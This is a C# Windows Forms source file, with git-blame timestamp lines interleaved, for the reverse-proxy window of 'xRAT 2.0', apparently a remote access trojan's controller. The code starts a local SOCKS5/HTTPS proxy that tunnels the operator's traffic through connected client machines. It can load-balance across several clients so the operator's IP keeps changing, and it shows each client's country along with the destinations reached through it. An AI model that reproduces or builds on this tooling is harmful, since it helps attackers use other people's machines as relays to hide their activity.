2015-05-10 04:11:27 -07:00
using System ;
2015-05-16 11:39:35 -07:00
using System.Collections.Generic ;
2015-05-10 04:11:27 -07:00
using System.Windows.Forms ;
using xServer.Core ;
using xServer.Core.ReverseProxy ;
2015-05-19 13:17:03 -07:00
using xServer.Core.Helper ;
2015-05-10 04:11:27 -07:00
namespace xServer.Forms
{
public partial class FrmReverseProxy : Form
{
2015-05-16 11:39:35 -07:00
private readonly Client [ ] clients ;
2015-05-10 10:02:10 -07:00
private ReverseProxyServer SocksServer { get ; set ; }
2015-05-10 04:11:27 -07:00
private delegate void Invoky ( ) ;
2015-05-16 08:41:28 -07:00
private ReverseProxyClient [ ] OpenConnections ;
private Timer RefreshTimer ;
2015-05-10 04:11:27 -07:00
2015-05-16 11:39:35 -07:00
public FrmReverseProxy ( Client [ ] clients )
2015-05-10 04:11:27 -07:00
{
InitializeComponent ( ) ;
2015-05-16 11:39:35 -07:00
this . clients = clients ;
for ( int i = 0 ; i < clients . Length ; i + + )
clients [ i ] . Value . FrmProxy = this ;
2015-05-10 04:11:27 -07:00
}
private void FrmReverseProxy_Load ( object sender , EventArgs e )
{
2015-05-16 11:39:35 -07:00
if ( clients . Length > 1 )
{
this . Text = string . Format ( "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]" ) ;
lblLoadBalance . Text = "The Load Balancer is active, " + clients . Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works" ;
}
else if ( clients . Length = = 1 )
{
this . Text = string . Format ( "xRAT 2.0 - Reverse Proxy [{0}:{1}]" , clients [ 0 ] . EndPoint . Address . ToString ( ) , clients [ 0 ] . EndPoint . Port . ToString ( ) ) ;
lblLoadBalance . Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer" ;
}
2015-05-10 04:11:27 -07:00
}
private void btnStart_Click ( object sender , EventArgs e )
{
try
{
2015-05-10 10:02:10 -07:00
SocksServer = new ReverseProxyServer ( ) ;
SocksServer . OnConnectionEstablished + = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection + = socksServer_onUpdateConnection ;
2015-05-16 11:39:35 -07:00
SocksServer . StartServer ( clients , "0.0.0.0" , ( int ) nudServerPort . Value ) ;
2015-05-10 10:02:10 -07:00
btnStart . Enabled = false ;
btnStop . Enabled = true ;
2015-05-16 08:41:28 -07:00
RefreshTimer = new Timer ( ) ;
RefreshTimer . Tick + = RefreshTimer_Tick ;
RefreshTimer . Interval = 100 ;
RefreshTimer . Start ( ) ;
2015-05-10 04:11:27 -07:00
}
catch ( Exception ex )
{
MessageBox . Show ( ex . Message ) ;
2015-05-10 10:02:10 -07:00
btnStop_Click ( sender , null ) ;
2015-05-10 04:11:27 -07:00
}
}
2015-05-16 08:41:28 -07:00
void RefreshTimer_Tick ( object sender , EventArgs e )
2015-05-10 04:11:27 -07:00
{
2015-05-16 08:41:28 -07:00
try
2015-05-10 04:11:27 -07:00
{
2015-05-16 08:41:28 -07:00
lock ( SocksServer )
2015-05-10 04:11:27 -07:00
{
2015-05-16 08:41:28 -07:00
this . OpenConnections = SocksServer . OpenConnections ;
LvConnections . VirtualListSize = this . OpenConnections . Length ;
LvConnections . Refresh ( ) ;
}
}
catch { }
}
2015-05-10 06:34:49 -07:00
2015-05-16 08:41:28 -07:00
void socksServer_onUpdateConnection ( ReverseProxyClient proxyClient )
{
2015-05-10 04:11:27 -07:00
2015-05-16 08:41:28 -07:00
}
2015-05-10 08:39:20 -07:00
2015-05-16 08:41:28 -07:00
void socksServer_onConnectionEstablished ( ReverseProxyClient proxyClient )
{
2015-05-10 08:39:20 -07:00
2015-05-10 04:11:27 -07:00
}
private void btnStop_Click ( object sender , EventArgs e )
{
2015-05-17 03:11:40 -07:00
if ( RefreshTimer ! = null )
RefreshTimer . Stop ( ) ;
2015-05-10 10:02:10 -07:00
btnStart . Enabled = true ;
btnStop . Enabled = false ;
if ( SocksServer ! = null )
SocksServer . Stop ( ) ;
2015-05-10 04:11:27 -07:00
try
{
2015-05-10 10:02:10 -07:00
SocksServer . OnConnectionEstablished - = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection - = socksServer_onUpdateConnection ;
2015-05-10 04:11:27 -07:00
}
catch { }
}
private void FrmReverseProxy_FormClosing ( object sender , FormClosingEventArgs e )
{
//Stop the proxy server if still active
2015-05-10 10:02:10 -07:00
btnStop_Click ( sender , null ) ;
2015-05-10 10:42:17 -07:00
2015-05-16 11:39:35 -07:00
for ( int i = 0 ; i < clients . Length ; i + + )
{
if ( clients [ i ] . Value ! = null )
clients [ i ] . Value . FrmProxy = null ;
}
2015-05-10 10:02:10 -07:00
}
private void nudServerPort_ValueChanged ( object sender , EventArgs e )
{
2015-05-16 08:41:28 -07:00
lblProxyInfo . Text = string . Format ( "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:{0} (no user/pass)" , nudServerPort . Value ) ;
}
private void LvConnections_RetrieveVirtualItem ( object sender , RetrieveVirtualItemEventArgs e )
{
lock ( SocksServer )
{
if ( e . ItemIndex < OpenConnections . Length )
{
ReverseProxyClient Connection = OpenConnections [ e . ItemIndex ] ;
e . Item = new ListViewItem ( new string [ ]
{
2015-05-16 11:39:35 -07:00
Connection . Client . EndPoint . ToString ( ) ,
Connection . Client . Value . Country ,
Connection . TargetServer + ( Connection . HostName . Length > 0 ? " (" + Connection . HostName + ")" : "" ) ,
2015-05-16 08:41:28 -07:00
Connection . TargetPort . ToString ( ) ,
2015-05-19 13:17:03 -07:00
Helper . GetDataSize ( Connection . LengthReceived ) ,
Helper . GetDataSize ( Connection . LengthSended ) ,
2015-05-16 08:41:28 -07:00
Connection . Type . ToString ( )
} ) { Tag = Connection } ;
}
}
}
private void killConnectionToolStripMenuItem_Click ( object sender , EventArgs e )
{
lock ( SocksServer )
{
if ( LvConnections . SelectedIndices . Count > 0 )
{
//copy the list, it could happen the suddenly the items de-select
int [ ] items = new int [ LvConnections . SelectedIndices . Count ] ;
LvConnections . SelectedIndices . CopyTo ( items , 0 ) ;
foreach ( int index in items )
{
if ( index < OpenConnections . Length )
{
ReverseProxyClient Connection = OpenConnections [ index ] ;
if ( Connection ! = null )
{
Connection . Disconnect ( ) ;
}
}
}
}
}
2015-05-10 04:11:27 -07:00
}
}
2015-05-17 03:11:40 -07:00
}